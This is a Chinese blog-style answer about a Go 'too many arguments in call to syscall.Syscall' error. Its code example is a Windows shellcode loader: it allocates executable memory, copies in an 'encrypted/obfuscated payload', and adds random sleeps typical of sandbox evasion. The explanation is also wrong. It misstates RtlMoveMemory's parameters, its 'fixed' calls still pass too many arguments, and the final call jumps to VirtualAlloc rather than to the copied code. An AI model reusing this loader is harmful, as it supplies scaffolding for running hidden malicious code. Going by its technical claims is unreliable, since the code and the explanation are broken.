Golang 编译错误: too many arguments in call to syscall.Syscall - 解决方法
Golang 编译错误: too many arguments in call to syscall.Syscall - 解决方法
这个问题通常出现在使用 syscall.Syscall 函数调用 Windows API 时,例如 VirtualAlloc 和 RtlMoveMemory。错误消息会显示为 'too many arguments in call to syscall.Syscall',并提示你传递了过多参数。
错误原因:
错误的根源在于你传递给 syscall.Syscall 函数的参数数量与目标 Windows API 函数所需参数数量不一致。例如,RtlMoveMemory 接受 5 个参数,但你在代码中传递了 7 个。
解决方法:
要解决这个问题,你需要调整代码以确保传递给 syscall.Syscall 的参数数量与目标 API 函数一致。具体来说,你需要删除多余的参数。
代码示例:
package main
import (
"syscall"
"unsafe"
"math/rand"
"time"
)
func main() {
kernel32 := syscall.MustLoadDLL("kernel32.dll")
addr := kernel32.MustFindProc("VirtualAlloc").Addr()
mem := kernel32.MustFindProc("RtlMoveMemory").Addr()
payload := []byte{ /* insert your encrypted/obfuscated payload here */ }
time.Sleep(time.Millisecond * time.Duration(rand.Intn(500) + 1000))
syscall.Syscall(addr, 0, 0, uintptr(len(payload)), 0x1000|0x2000, 0x40, 0, 0)
time.Sleep(time.Millisecond * time.Duration(rand.Intn(500) + 1000))
syscall.Syscall(mem, 0, uintptr(unsafe.Pointer(&payload[0])), 0, uintptr(len(payload)), addr)
time.Sleep(time.Millisecond * time.Duration(rand.Intn(500) + 1000))
syscall.Syscall(addr, 0, addr, 0, 0, 0, 0)
}
在这个例子中,我们删除了第二个 syscall.Syscall 调用中的最后两个参数,以匹配 RtlMoveMemory 函数的预期参数数量。
注意:
确保你传递给 syscall.Syscall 的参数类型与目标 API 函数的预期参数类型匹配。否则,你可能会遇到其他错误。
希望这篇文章能帮助你解决 'too many arguments in call to syscall.Syscall' 错误。如果你还有其他问题,请随时提问。
原文地址: https://www.cveoy.top/t/topic/mjAQ 著作权归作者所有。请勿转载和采集!